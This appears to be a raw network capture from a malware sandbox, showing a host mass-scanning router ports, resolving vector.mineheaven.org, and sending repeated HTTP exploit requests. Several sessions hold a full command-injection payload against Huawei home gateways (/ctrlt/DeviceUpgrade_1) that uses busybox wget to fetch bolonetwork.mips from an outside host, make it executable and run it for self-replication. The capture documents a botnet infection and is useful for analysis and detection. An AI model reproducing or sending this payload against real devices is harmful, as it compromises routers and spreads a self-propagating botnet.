Jul 20, 2024 23:01:05.573503971 CEST	52869	43930	68.93.103.227	192.168.2.14
Jul 20, 2024 23:01:05.573784113 CEST	33816	52869	192.168.2.14	101.191.129.126
Jul 20, 2024 23:01:05.573817015 CEST	33816	52869	192.168.2.14	101.191.129.126
Jul 20, 2024 23:01:05.574311972 CEST	80	59424	88.48.205.88	192.168.2.14
Jul 20, 2024 23:01:05.575153112 CEST	40154	37215	192.168.2.14	157.46.64.49
Jul 20, 2024 23:01:05.575397015 CEST	39836	80	192.168.2.14	88.99.254.253
Jul 20, 2024 23:01:05.575397015 CEST	39836	80	192.168.2.14	88.99.254.253
Jul 20, 2024 23:01:05.575428009 CEST	37215	47138	197.37.56.19	192.168.2.14
Jul 20, 2024 23:01:05.575459957 CEST	47138	37215	192.168.2.14	197.37.56.19
Jul 20, 2024 23:01:05.575500011 CEST	34968	52869	192.168.2.14	101.191.129.126
Jul 20, 2024 23:01:05.575644970 CEST	8081	56296	149.238.160.62	192.168.2.14
Jul 20, 2024 23:01:05.576735973 CEST	37215	51956	112.118.31.143	192.168.2.14
Jul 20, 2024 23:01:05.576771975 CEST	52869	34906	130.69.123.40	192.168.2.14
Jul 20, 2024 23:01:05.576941013 CEST	40790	80	192.168.2.14	88.99.254.253
Jul 20, 2024 23:01:05.577224970 CEST	59540	52869	192.168.2.14	128.98.160.122
Jul 20, 2024 23:01:05.577224970 CEST	59540	52869	192.168.2.14	128.98.160.122
Jul 20, 2024 23:01:05.577289104 CEST	41918	8081	192.168.2.14	222.64.97.219
Jul 20, 2024 23:01:05.577290058 CEST	34906	52869	192.168.2.14	130.69.123.40
Jul 20, 2024 23:01:05.577382088 CEST	80	41378	88.24.81.58	192.168.2.14
Jul 20, 2024 23:01:05.577481031 CEST	80	41378	88.24.81.58	192.168.2.14
Jul 20, 2024 23:01:05.578027010 CEST	8081	54288	207.80.12.0	192.168.2.14
Jul 20, 2024 23:01:05.578095913 CEST	54288	8081	192.168.2.14	207.80.12.0
Jul 20, 2024 23:01:05.578121901 CEST	57566	80	192.168.2.14	88.90.229.82
Jul 20, 2024 23:01:05.578124046 CEST	43930	52869	192.168.2.14	68.93.103.227
Jul 20, 2024 23:01:05.578140974 CEST	59424	80	192.168.2.14	88.48.205.88
Jul 20, 2024 23:01:05.578150988 CEST	58062	37215	192.168.2.14	157.85.25.154
Jul 20, 2024 23:01:05.578285933 CEST	51956	37215	192.168.2.14	112.118.31.143
Jul 20, 2024 23:01:05.578286886 CEST	56296	8081	192.168.2.14	149.238.160.62
Jul 20, 2024 23:01:05.578378916 CEST	8081	50724	89.198.248.138	192.168.2.14
Jul 20, 2024 23:01:05.578392029 CEST	80	42330	88.24.81.58	192.168.2.14
Jul 20, 2024 23:01:05.578484058 CEST	42330	80	192.168.2.14	88.24.81.58
Jul 20, 2024 23:01:05.578838110 CEST	52869	33816	101.191.129.126	192.168.2.14
Jul 20, 2024 23:01:05.578838110 CEST	60690	52869	192.168.2.14	128.98.160.122
Jul 20, 2024 23:01:05.578907967 CEST	52869	33816	101.191.129.126	192.168.2.14
Jul 20, 2024 23:01:05.579741001 CEST	51850	37215	192.168.2.14	65.171.178.93
Jul 20, 2024 23:01:05.579838037 CEST	60098	80	192.168.2.14	88.236.76.24
Jul 20, 2024 23:01:05.579860926 CEST	60098	80	192.168.2.14	88.236.76.24
Jul 20, 2024 23:01:05.580087900 CEST	37215	37054	41.32.58.72	192.168.2.14
Jul 20, 2024 23:01:05.580248117 CEST	37215	40154	157.46.64.49	192.168.2.14
Jul 20, 2024 23:01:05.580297947 CEST	52869	36650	146.178.29.63	192.168.2.14
Jul 20, 2024 23:01:05.580553055 CEST	40154	37215	192.168.2.14	157.46.64.49
Jul 20, 2024 23:01:05.580662012 CEST	80	39836	88.99.254.253	192.168.2.14
Jul 20, 2024 23:01:05.580672979 CEST	80	39836	88.99.254.253	192.168.2.14
Jul 20, 2024 23:01:05.580754995 CEST	80	50588	88.107.137.43	192.168.2.14
Jul 20, 2024 23:01:05.580977917 CEST	32820	80	192.168.2.14	88.236.76.24
Jul 20, 2024 23:01:05.581254959 CEST	52869	34968	101.191.129.126	192.168.2.14
Jul 20, 2024 23:01:05.581294060 CEST	34968	52869	192.168.2.14	101.191.129.126
Jul 20, 2024 23:01:05.581875086 CEST	52869	45144	191.124.131.163	192.168.2.14
Jul 20, 2024 23:01:05.581989050 CEST	80	40790	88.99.254.253	192.168.2.14
Jul 20, 2024 23:01:05.582031012 CEST	40790	80	192.168.2.14	88.99.254.253
Jul 20, 2024 23:01:05.582077026 CEST	47482	52869	192.168.2.14	118.44.218.190
Jul 20, 2024 23:01:05.582077026 CEST	47482	52869	192.168.2.14	118.44.218.190
Jul 20, 2024 23:01:05.582120895 CEST	45144	52869	192.168.2.14	191.124.131.163
Jul 20, 2024 23:01:05.582123041 CEST	50588	80	192.168.2.14	88.107.137.43
Jul 20, 2024 23:01:05.582125902 CEST	37054	37215	192.168.2.14	41.32.58.72
Jul 20, 2024 23:01:05.582325935 CEST	53246	8081	192.168.2.14	77.88.180.129
Jul 20, 2024 23:01:05.582385063 CEST	52869	59540	128.98.160.122	192.168.2.14
Jul 20, 2024 23:01:05.582396984 CEST	52869	59540	128.98.160.122	192.168.2.14
Jul 20, 2024 23:01:05.582580090 CEST	80	42024	88.154.139.67	192.168.2.14
Jul 20, 2024 23:01:05.582587004 CEST	8081	41918	222.64.97.219	192.168.2.14
Jul 20, 2024 23:01:05.582865000 CEST	50724	8081	192.168.2.14	89.198.248.138
Jul 20, 2024 23:01:05.583169937 CEST	36650	52869	192.168.2.14	146.178.29.63
Jul 20, 2024 23:01:05.583374977 CEST	41918	8081	192.168.2.14	222.64.97.219
Jul 20, 2024 23:01:05.583813906 CEST	48634	52869	192.168.2.14	118.44.218.190
Jul 20, 2024 23:01:05.583933115 CEST	33498	80	192.168.2.14	88.46.52.83
Jul 20, 2024 23:01:05.583933115 CEST	33498	80	192.168.2.14	88.46.52.83
Jul 20, 2024 23:01:05.584224939 CEST	52869	60690	128.98.160.122	192.168.2.14
Jul 20, 2024 23:01:05.584439993 CEST	60690	52869	192.168.2.14	128.98.160.122
Jul 20, 2024 23:01:05.584884882 CEST	37215	51850	65.171.178.93	192.168.2.14
Jul 20, 2024 23:01:05.585166931 CEST	80	60098	88.236.76.24	192.168.2.14
Jul 20, 2024 23:01:05.585211992 CEST	80	60098	88.236.76.24	192.168.2.14
Jul 20, 2024 23:01:05.585774899 CEST	8081	40284	51.254.100.5	192.168.2.14
Jul 20, 2024 23:01:05.585927010 CEST	40646	37215	192.168.2.14	42.124.189.109
Jul 20, 2024 23:01:05.586030006 CEST	51850	37215	192.168.2.14	65.171.178.93
Jul 20, 2024 23:01:05.586307049 CEST	80	32820	88.236.76.24	192.168.2.14
Jul 20, 2024 23:01:05.586466074 CEST	32820	80	192.168.2.14	88.236.76.24
Jul 20, 2024 23:01:05.587101936 CEST	52869	47482	118.44.218.190	192.168.2.14
Jul 20, 2024 23:01:05.587107897 CEST	52869	47482	118.44.218.190	192.168.2.14
Jul 20, 2024 23:01:05.587260008 CEST	37215	56692	41.116.209.33	192.168.2.14
Jul 20, 2024 23:01:05.587881088 CEST	8081	53246	77.88.180.129	192.168.2.14
Jul 20, 2024 23:01:05.587932110 CEST	53246	8081	192.168.2.14	77.88.180.129
Jul 20, 2024 23:01:05.588213921 CEST	34454	80	192.168.2.14	88.46.52.83
Jul 20, 2024 23:01:05.588258028 CEST	46444	52869	192.168.2.14	8.55.90.119
Jul 20, 2024 23:01:05.588258028 CEST	46444	52869	192.168.2.14	8.55.90.119
Jul 20, 2024 23:01:05.588923931 CEST	52869	48634	118.44.218.190	192.168.2.14
Jul 20, 2024 23:01:05.588979959 CEST	48634	52869	192.168.2.14	118.44.218.190
Jul 20, 2024 23:01:05.589261055 CEST	80	33498	88.46.52.83	192.168.2.14
Jul 20, 2024 23:01:05.589267015 CEST	80	33498	88.46.52.83	192.168.2.14
Jul 20, 2024 23:01:05.589492083 CEST	44068	8081	192.168.2.14	113.110.122.101
Jul 20, 2024 23:01:05.589755058 CEST	52869	47872	20.43.107.217	192.168.2.14
Jul 20, 2024 23:01:05.590106010 CEST	47598	52869	192.168.2.14	8.55.90.119
Jul 20, 2024 23:01:05.590125084 CEST	42024	80	192.168.2.14	88.154.139.67
Jul 20, 2024 23:01:05.590125084 CEST	47872	52869	192.168.2.14	20.43.107.217
Jul 20, 2024 23:01:05.590267897 CEST	56692	37215	192.168.2.14	41.116.209.33
Jul 20, 2024 23:01:05.590497017 CEST	40284	8081	192.168.2.14	51.254.100.5
Jul 20, 2024 23:01:05.590874910 CEST	37215	40646	42.124.189.109	192.168.2.14
Jul 20, 2024 23:01:05.590907097 CEST	40646	37215	192.168.2.14	42.124.189.109
Jul 20, 2024 23:01:05.591051102 CEST	42174	80	192.168.2.14	88.206.27.242
Jul 20, 2024 23:01:05.591051102 CEST	42174	80	192.168.2.14	88.206.27.242
Jul 20, 2024 23:01:05.592091084 CEST	80	42612	88.139.140.250	192.168.2.14
Jul 20, 2024 23:01:05.592267990 CEST	51316	37215	192.168.2.14	197.228.120.64
Jul 20, 2024 23:01:05.592612982 CEST	43132	80	192.168.2.14	88.206.27.242
Jul 20, 2024 23:01:05.592830896 CEST	52869	54374	174.69.237.0	192.168.2.14
Jul 20, 2024 23:01:05.593053102 CEST	35304	52869	192.168.2.14	162.57.74.72
Jul 20, 2024 23:01:05.593053102 CEST	35304	52869	192.168.2.14	162.57.74.72
Jul 20, 2024 23:01:05.593396902 CEST	80	34454	88.46.52.83	192.168.2.14
Jul 20, 2024 23:01:05.593441963 CEST	34454	80	192.168.2.14	88.46.52.83
Jul 20, 2024 23:01:05.593736887 CEST	52869	46444	8.55.90.119	192.168.2.14
Jul 20, 2024 23:01:05.593743086 CEST	52869	46444	8.55.90.119	192.168.2.14
Jul 20, 2024 23:01:05.594619036 CEST	52869	44252	160.191.28.144	192.168.2.14
Jul 20, 2024 23:01:05.594799042 CEST	8081	44068	113.110.122.101	192.168.2.14
Jul 20, 2024 23:01:05.594837904 CEST	44068	8081	192.168.2.14	113.110.122.101
Jul 20, 2024 23:01:05.594986916 CEST	37215	56500	58.195.53.166	192.168.2.14
Jul 20, 2024 23:01:05.595067978 CEST	41608	8081	192.168.2.14	138.86.91.118
Jul 20, 2024 23:01:05.595067978 CEST	52869	47598	8.55.90.119	192.168.2.14
Jul 20, 2024 23:01:05.595129013 CEST	47598	52869	192.168.2.14	8.55.90.119
Jul 20, 2024 23:01:05.595422029 CEST	36460	52869	192.168.2.14	162.57.74.72
Jul 20, 2024 23:01:05.595506907 CEST	56080	80	192.168.2.14	88.20.206.157
Jul 20, 2024 23:01:05.595506907 CEST	56080	80	192.168.2.14	88.20.206.157
Jul 20, 2024 23:01:05.596478939 CEST	80	42174	88.206.27.242	192.168.2.14
Jul 20, 2024 23:01:05.596493006 CEST	80	42174	88.206.27.242	192.168.2.14
Jul 20, 2024 23:01:05.597095013 CEST	43612	37215	192.168.2.14	41.28.196.52
Jul 20, 2024 23:01:05.597095013 CEST	43066	52869	192.168.2.14	180.39.180.182
Jul 20, 2024 23:01:05.597095013 CEST	43066	52869	192.168.2.14	180.39.180.182
Jul 20, 2024 23:01:05.597290993 CEST	57042	80	192.168.2.14	88.20.206.157
Jul 20, 2024 23:01:05.597718000 CEST	8081	42138	197.7.168.116	192.168.2.14
Jul 20, 2024 23:01:05.598026037 CEST	44222	52869	192.168.2.14	180.39.180.182
Jul 20, 2024 23:01:05.598124027 CEST	56500	37215	192.168.2.14	58.195.53.166
Jul 20, 2024 23:01:05.598190069 CEST	42612	80	192.168.2.14	88.139.140.250
Jul 20, 2024 23:01:05.598639011 CEST	44252	52869	192.168.2.14	160.191.28.144
Jul 20, 2024 23:01:05.598735094 CEST	37215	51316	197.228.120.64	192.168.2.14
Jul 20, 2024 23:01:05.598752975 CEST	42138	8081	192.168.2.14	197.7.168.116
Jul 20, 2024 23:01:05.598769903 CEST	51316	37215	192.168.2.14	197.228.120.64
Jul 20, 2024 23:01:05.598875046 CEST	80	43132	88.206.27.242	192.168.2.14
Jul 20, 2024 23:01:05.598967075 CEST	56308	8081	192.168.2.14	199.218.192.195
Jul 20, 2024 23:01:05.599009037 CEST	43132	80	192.168.2.14	88.206.27.242
Jul 20, 2024 23:01:05.599153996 CEST	48438	80	192.168.2.14	88.91.129.45
Jul 20, 2024 23:01:05.599153996 CEST	48438	80	192.168.2.14	88.91.129.45
Jul 20, 2024 23:01:05.599348068 CEST	80	50236	88.216.145.189	192.168.2.14
Jul 20, 2024 23:01:05.599634886 CEST	52869	35304	162.57.74.72	192.168.2.14
Jul 20, 2024 23:01:05.599647045 CEST	52869	35304	162.57.74.72	192.168.2.14
Jul 20, 2024 23:01:05.600492954 CEST	49402	80	192.168.2.14	88.91.129.45
Jul 20, 2024 23:01:05.601046085 CEST	44068	37215	192.168.2.14	161.234.199.200
Jul 20, 2024 23:01:05.601372004 CEST	53244	52869	192.168.2.14	65.188.53.189
Jul 20, 2024 23:01:05.601372004 CEST	53244	52869	192.168.2.14	65.188.53.189
Jul 20, 2024 23:01:05.602325916 CEST	37215	44782	41.99.96.147	192.168.2.14
Jul 20, 2024 23:01:05.603425980 CEST	52869	55518	174.69.237.0	192.168.2.14
Jul 20, 2024 23:01:05.603564024 CEST	53068	80	192.168.2.14	88.238.152.198
Jul 20, 2024 23:01:05.603564024 CEST	53068	80	192.168.2.14	88.238.152.198
Jul 20, 2024 23:01:05.603564024 CEST	54402	52869	192.168.2.14	65.188.53.189
Jul 20, 2024 23:01:05.603681087 CEST	8081	41608	138.86.91.118	192.168.2.14
Jul 20, 2024 23:01:05.603693962 CEST	52869	36460	162.57.74.72	192.168.2.14
Jul 20, 2024 23:01:05.603705883 CEST	80	56080	88.20.206.157	192.168.2.14
Jul 20, 2024 23:01:05.603718042 CEST	80	56080	88.20.206.157	192.168.2.14
Jul 20, 2024 23:01:05.603719950 CEST	41608	8081	192.168.2.14	138.86.91.118
Jul 20, 2024 23:01:05.604034901 CEST	39856	8081	192.168.2.14	88.160.145.85
Jul 20, 2024 23:01:05.604270935 CEST	52869	33366	91.209.91.142	192.168.2.14
Jul 20, 2024 23:01:05.604284048 CEST	37215	45086	197.153.78.108	192.168.2.14
Jul 20, 2024 23:01:05.604412079 CEST	36460	52869	192.168.2.14	162.57.74.72
Jul 20, 2024 23:01:05.605021954 CEST	80	49568	88.78.79.230	192.168.2.14
Jul 20, 2024 23:01:05.605289936 CEST	8081	47104	25.208.249.240	192.168.2.14
Jul 20, 2024 23:01:05.605611086 CEST	80	57042	88.20.206.157	192.168.2.14
Jul 20, 2024 23:01:05.606120110 CEST	50236	80	192.168.2.14	88.216.145.189
Jul 20, 2024 23:01:05.606120110 CEST	33366	52869	192.168.2.14	91.209.91.142
Jul 20, 2024 23:01:05.606123924 CEST	45086	37215	192.168.2.14	197.153.78.108
Jul 20, 2024 23:01:05.606148958 CEST	47104	8081	192.168.2.14	25.208.249.240
Jul 20, 2024 23:01:05.606148958 CEST	49568	80	192.168.2.14	88.78.79.230
Jul 20, 2024 23:01:05.606385946 CEST	44782	37215	192.168.2.14	41.99.96.147
Jul 20, 2024 23:01:05.606669903 CEST	52869	44222	180.39.180.182	192.168.2.14
Jul 20, 2024 23:01:05.606686115 CEST	37215	53862	41.127.244.231	192.168.2.14
Jul 20, 2024 23:01:05.606698990 CEST	37215	43612	41.28.196.52	192.168.2.14
Jul 20, 2024 23:01:05.606704950 CEST	52869	43066	180.39.180.182	192.168.2.14
Jul 20, 2024 23:01:05.606708050 CEST	44222	52869	192.168.2.14	180.39.180.182
Jul 20, 2024 23:01:05.607012033 CEST	52869	43066	180.39.180.182	192.168.2.14
Jul 20, 2024 23:01:05.607211113 CEST	8081	56308	199.218.192.195	192.168.2.14
Jul 20, 2024 23:01:05.607222080 CEST	80	48438	88.91.129.45	192.168.2.14
Jul 20, 2024 23:01:05.607227087 CEST	80	48438	88.91.129.45	192.168.2.14
Jul 20, 2024 23:01:05.607426882 CEST	80	49402	88.91.129.45	192.168.2.14
Jul 20, 2024 23:01:05.607611895 CEST	55518	52869	192.168.2.14	174.69.237.0
Jul 20, 2024 23:01:05.607618093 CEST	37215	44068	161.234.199.200	192.168.2.14
Jul 20, 2024 23:01:05.607712984 CEST	52869	53244	65.188.53.189	192.168.2.14
Jul 20, 2024 23:01:05.607785940 CEST	52869	53244	65.188.53.189	192.168.2.14
Jul 20, 2024 23:01:05.608025074 CEST	54036	80	192.168.2.14	88.238.152.198
Jul 20, 2024 23:01:05.608025074 CEST	44068	37215	192.168.2.14	161.234.199.200
Jul 20, 2024 23:01:05.608122110 CEST	43612	37215	192.168.2.14	41.28.196.52
Jul 20, 2024 23:01:05.608122110 CEST	56308	8081	192.168.2.14	199.218.192.195
Jul 20, 2024 23:01:05.608194113 CEST	41312	52869	192.168.2.14	112.236.210.206
Jul 20, 2024 23:01:05.608194113 CEST	41312	52869	192.168.2.14	112.236.210.206
Jul 20, 2024 23:01:05.608669043 CEST	57042	80	192.168.2.14	88.20.206.157
Jul 20, 2024 23:01:05.608932972 CEST	80	53068	88.238.152.198	192.168.2.14
Jul 20, 2024 23:01:05.608937979 CEST	80	53068	88.238.152.198	192.168.2.14
Jul 20, 2024 23:01:05.608956099 CEST	35886	37215	192.168.2.14	157.59.173.180
Jul 20, 2024 23:01:05.609189987 CEST	52869	54402	65.188.53.189	192.168.2.14
Jul 20, 2024 23:01:05.609195948 CEST	8081	39856	88.160.145.85	192.168.2.14
Jul 20, 2024 23:01:05.609514952 CEST	49402	80	192.168.2.14	88.91.129.45
Jul 20, 2024 23:01:05.609814882 CEST	54402	52869	192.168.2.14	65.188.53.189
Jul 20, 2024 23:01:05.609956026 CEST	42470	52869	192.168.2.14	112.236.210.206
Jul 20, 2024 23:01:05.610045910 CEST	8081	53510	195.147.175.84	192.168.2.14

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 20, 2024 23:01:01.635510921 CEST	192.168.2.14	8.8.8.8	0x37d	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:03.829690933 CEST	192.168.2.14	8.8.8.8	0x656c	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:07.210202932 CEST	192.168.2.14	8.8.8.8	0x9120	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:17.460901022 CEST	192.168.2.14	8.8.8.8	0x76c	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:24.590367079 CEST	192.168.2.14	8.8.8.8	0x96e9	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:25.816081047 CEST	192.168.2.14	8.8.8.8	0xc64c	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:31.082134008 CEST	192.168.2.14	8.8.8.8	0x8552	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:40.185058117 CEST	192.168.2.14	8.8.8.8	0x9e92	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 20, 2024 23:01:01.651700974 CEST	8.8.8.8	192.168.2.14	0x37d	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:03.837393999 CEST	8.8.8.8	192.168.2.14	0x656c	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:07.228189945 CEST	8.8.8.8	192.168.2.14	0x9120	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:17.468316078 CEST	8.8.8.8	192.168.2.14	0x76c	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:24.609193087 CEST	8.8.8.8	192.168.2.14	0x96e9	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:25.883274078 CEST	8.8.8.8	192.168.2.14	0xc64c	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:31.095191002 CEST	8.8.8.8	192.168.2.14	0x8552	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:40.193190098 CEST	8.8.8.8	192.168.2.14	0x9e92	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.14	44016	24.34.240.214	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.400872946 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.14	60728	41.26.139.46	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.404043913 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.14	55680	197.12.227.51	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.405570984 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.14	53616	153.57.57.9	37215

Timestamp	Bytes transferred	Direction	Data
